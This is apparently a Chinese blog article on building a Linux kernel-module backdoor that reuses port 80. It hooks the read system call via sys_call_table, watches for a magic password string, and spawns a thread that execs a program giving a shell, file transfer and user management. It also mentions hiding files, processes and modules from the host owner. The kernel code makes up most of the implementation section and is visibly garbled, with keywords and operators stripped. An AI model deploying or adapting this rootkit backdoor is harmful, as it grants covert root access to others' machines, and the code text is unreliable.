端口复用:Linux端口复用

我们首先需要知道什么是端口复用它就是在系统已经开放端口上进行通讯并且不影响系统正常工作和服务正常运行
端口复用功能是在端口复用基础上进行连接、获得SHELL、上下载文件、浏览目录、添加删除用户、改变用户口令等端口复用只对输入信息进行串匹配不对网络数据进行任何拦截、复制类操作所以网络数据传输性能丝毫不受影响建立连接后服务端占用极少系统资源被控端不会在系统性能方面有任何察觉  

思路方法比较
端口复用实现思路方法有很多下面我们来做下比较
1)过滤驱动
对LINUX系统网卡驱动进行过滤这种技术涉及到可安装内核模块技术、网卡驱动原理和中断技术等实现起来较为复杂而且对内核版本要求较高如果长期运行还可能造成系统内核不稳定同时还也会涉及到拆包、组包过程如果要对大文件进行传输或要保证客户—服务器双方可靠通信要付出很大代价
2)过滤协议栈
可以对TCP/IP协议栈进行过滤而且LINUX系统也提供6个内核钩子支持对内核过滤这样实现难度较小造成系统不稳定可能性比方案1要小不过同样涉及到拆包、组包过程
3)过滤系统
这种思路方法是典型LKMS后门实现原理对用于网络通信系统进行过滤这种思路方法不用深入协议栈实现起来简洁有效
4)UNIX编程其他技术
在用户空间访问协议栈如:BPF、SOCK-PACKET类型套接口、LIBCAP抓包库、DLPI等这样在应用层就可以实现对协议栈过滤这种技术不用深入内核稳定性好不过同样也大多也难逃重新组包的嫌
5)运行期间感染技术
这种思路方法需要深人到已经运行服务进程空间内部如采用运行期间共享库注射库技术通过共享其FILE结构增加引用记数来共享denteu、inode、sock、等结构这种思路方法是应用层设计对内核版本要求不高不过如果对80等非超级用户运行进程所开端口进行复用所获得权限也只是普通用户权限不能满足普遍需求同时也很难实现对任意端口进行复用

实现过程
经过大量试验对比分析发现通过过滤系统实现端口复用是比较切合实际方案和LKMS其他技术相结合效果更加理想
下面我们通过过滤系统实现端口复用对端口80TCP连接进行复用为例进行介绍说明
1)深入内核截获系统read( fd, void *buf, size_t count)
2)如果发现特征串(如“abcdefg”)就在内核启动我们
代码如下:
# PORT 80
# MAX_BUF 1024
ssize (*orig_read) ( fd, char *buf, size_t count);
ssize_t _read( fd, void *buf, size_t count)
{
ssize ret;
char passwd = ”abcdefg„;
char kbuf[MAX_BUF];
struct file *file;
……………….
ret = old_read(fd, buf, count);
bzero(kbuf, MAX_BUF);
__generic_copy_from_user(kbuf, buf, ret);
( memcmp(kbuf, passwd, strlen(passwd)) 0 )
{
file = fget(fd);
(file->f_dentry->inode->sk.sport PORT)
kernel_thread(exe_func, fd, flags);
fput(file);
}
………………….
ret;
}
init_module(void)
{
…………
orig_read = sys_call_table[SYS_read];
sys_call_table[SYS_read] = _read;
…………
}
void cleanup_module(void)
{
………….
sys_call_table[SYS_read] = orig_read;
…………..
}
如前所述kernel_thread实际是clone这样如果参数flags为0则表示复制(而不是指针共享)其内核结构这些内核结构包括:mm_struct结构、files_struct结构、fs_struct结构、k_sigaction结构当然我们最关心是files_struct结构其相应标志位是CLONE_FILES
由于我们要改变fs_struct结构中两个位图:close_on_exec和 open_fds为了不影响父进程正常运行需要把该位设置为0
3)我们内核exe_func()如下:
# MAX_ARG 32
exe_func( fd)
{
char arg[MAX_ARG];
bzero(arg, MAX_ARG);
my_itoa(fd, arg);
clr_fd( fd );
_fs(KERNEL_DS);
ret = execve(my_program, arg, 0);
(ret < 0)
-1;
0;
}
my_itoa作用是将数字转换成相应
clr_fd作用是对task_struct-> file-> close_on_exec中相应位清0
_fs作用是将用户空间范围设置为0—4G
这样当我们execve执行我们用户空间my_program时文件描述符fd对应文件就不会被关闭
clr_fd功能是对位图close_on_exec相应位进行清0
其代码如下:
# FD_SET(fd,fdp) \
__asm__ __volatile__("btsl %1,%0": \
"=m" (*(__kernel_fd_ *) (fdp)):"r" (() (fd)))
# FD_CLR(fd,fdp) \
__asm__ __volatile__("btrl %1,%0": \
"=m" (*(__kernel_fd_ *) (fdp)):"r" (() (fd)))
void clr_fd(fd)
{
struct file *file;
file = fget(fd);
FD_SET(fd, file->open_fds);
FD_CLR(fd, file->close_on_exec);
fput(file);
;
}
4)我们用户空间如下:
/* my_program */
# <stdio.h>
……
( argc, char *argv)
{
fd = atoi(argv[1]);
…….
}
这样在我们用户空间就可以用端口80所对应文件描述符fd进行通信了即可以对用户输入命令进行解释又可以在80端口绑定shell还可以利用80端口进行文件上传、下载等

整理总结
这种思路方法是内核和应用层相结合种端口复用思路方法工作在TCP层上由内核维护整个TCP连接双方通信稳定可靠同时还可以结合LKMS隐藏机制做到隐藏文件、目录、进程、端口以及安装模块等使被控主机很难发现被安装后门由于是基于内核做工作所以可以复用系统任意端口并且具有超级用户权限

Tags:  linux查看端口 linux端口 socket端口复用 端口复用

延伸阅读

最新评论

发表评论